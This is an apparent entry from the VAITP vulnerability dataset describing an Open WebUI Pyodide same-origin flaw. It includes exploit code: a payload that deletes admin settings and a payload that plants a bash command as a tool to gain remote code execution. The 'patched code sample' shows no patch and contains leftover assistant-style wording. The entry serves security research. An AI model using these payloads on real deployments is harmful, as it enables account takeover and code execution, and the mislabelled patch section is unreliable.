VAITP Dataset

← Back to the dataset

CVE-2026-59214

Pyodide code in chat allows authenticated requests to admin endpoints.

  • CVSS 9.0
  • CWE-79
  • Design Defects
  • Remote

Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, Open WebUI runs client-side Python with Pyodide in a same-origin web worker, allowing stored chat payloads that use pyodide.http.pyfetch or the js module fetch and XMLHttpRequest APIs to issue authenticated same-origin requests when a victim clicks Run, which can reach admin-only endpoints and execute server-side code through configured tools. This issue is fixed in version 0.10.0.

CVSS base score
9.0
Published
2026-07-09
OWASP
A01 Broken Access Control
Orthogonal defect classification
Interface
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Cross-Site Scripting (XSS)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Open WebUI
Fixed by upgrading
Yes

Solution

Upgrade Open WebUI to version 0.10.0 or later.

Vulnerable code sample

import asyncio
import pyodide.http

# This payload, when stored in a chat and run by an admin,
# uses the admin's authenticated session to make a request
# to a privileged, same-origin API endpoint.

async def perform_privileged_action():
    try:
        # The target is a hypothetical admin-only API endpoint.
        # The browser automatically attaches the necessary authentication cookies
        # because this is a same-origin request from the web worker.
        target_url = "/api/v1/admin/settings"
        
        # A real exploit might try to change a setting, delete data, or add a new user.
        # Here, we simulate deleting a resource via a DELETE request.
        response = await pyodide.http.pyfetch(
            url=target_url,
            method="DELETE",
            headers={"Accept": "application/json"}
        )

        # The output would be visible to the victim who ran the code.
        if response.status == 200:
            print("Successfully executed privileged action.")
        else:
            print(f"Action failed with status code: {response.status}")

    except Exception as e:
        print(f"An error occurred: {e}")

# This line triggers the execution of the malicious async function.
asyncio.run(perform_privileged_action())

Patched code sample

It is not possible to provide the Python code that fixes the vulnerability, as the fix was not implemented in Python. The vulnerability was patched by changing the frontend application's architecture to run the Pyodide environment within a sandboxed iframe, which is a non-Python (JavaScript/HTML) change.

As per your request, the following is a Python code example that represents the type of payload used to exploit the vulnerability. In a fixed version of Open WebUI, this code would fail to access the protected endpoint because the sandboxed environment prevents it from making authenticated same-origin requests.

```python
# This code represents the malicious payload that could exploit the vulnerability.
# The actual fix was not in Python, but in the frontend architecture (using a
# sandboxed iframe) which prevents this code from working as intended.

# In a patched system, running this code demonstrates that the fix is working,
# as the request will be unauthenticated and fail.

import js
import asyncio

async def attempt_fetch_protected_endpoint():
    """
    This function attempts to make a web request to a protected, admin-only
    API endpoint from within the client-side Pyodide environment.
    """
    # In a vulnerable version, the browser would automatically attach
    # authentication cookies to this "fetch" request, because it ran in a
    # same-origin context.
    # In the fixed version, this code runs in a sandboxed, cross-origin
    # context, and cookies are not attached. The request therefore fails.
    
    PROTECTED_API_ENDPOINT = '/api/v1/settings' # An example of a protected endpoint

    print(f"Attempting to fetch from: {PROTECTED_API_ENDPOINT}")

    try:
        response = await js.fetch(PROTECTED_API_ENDPOINT)

        if response.ok:
            # This block would execute on a VULNERABLE system
            print("VULNERABILITY PRESENT: Request was successful.")
            data = await response.json()
            print("Received data:", data)
        else:
            # This block would execute on a FIXED system
            print("FIX VERIFIED: Request was not successful.")
            print(f"Status: {response.status} {response.statusText}")

    except Exception as e:
        # A fixed system might also raise a TypeError due to cross-origin restrictions
        print(f"FIX VERIFIED: Request failed with an exception: {e}")

# Execute the asynchronous function
asyncio.run(attempt_fetch_protected_endpoint())

Payload

import pyodide.http
import json

tool_payload = {
    "id": "malicious-rce-tool",
    "command": "/bin/bash -c 'id > /tmp/pwned'",
    "title": "Malicious RCE Tool"
}

await pyodide.http.pyfetch(
    "/api/prompts/",
    method="POST",
    headers={"Content-Type": "application/json"},
    body=json.dumps(tool_payload)
)

print("Malicious tool creation request sent.")

Cite this entry

@misc{vaitp:cve202659214,
  title        = {{Pyodide code in chat allows authenticated requests to admin endpoints.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-59214},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59214/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::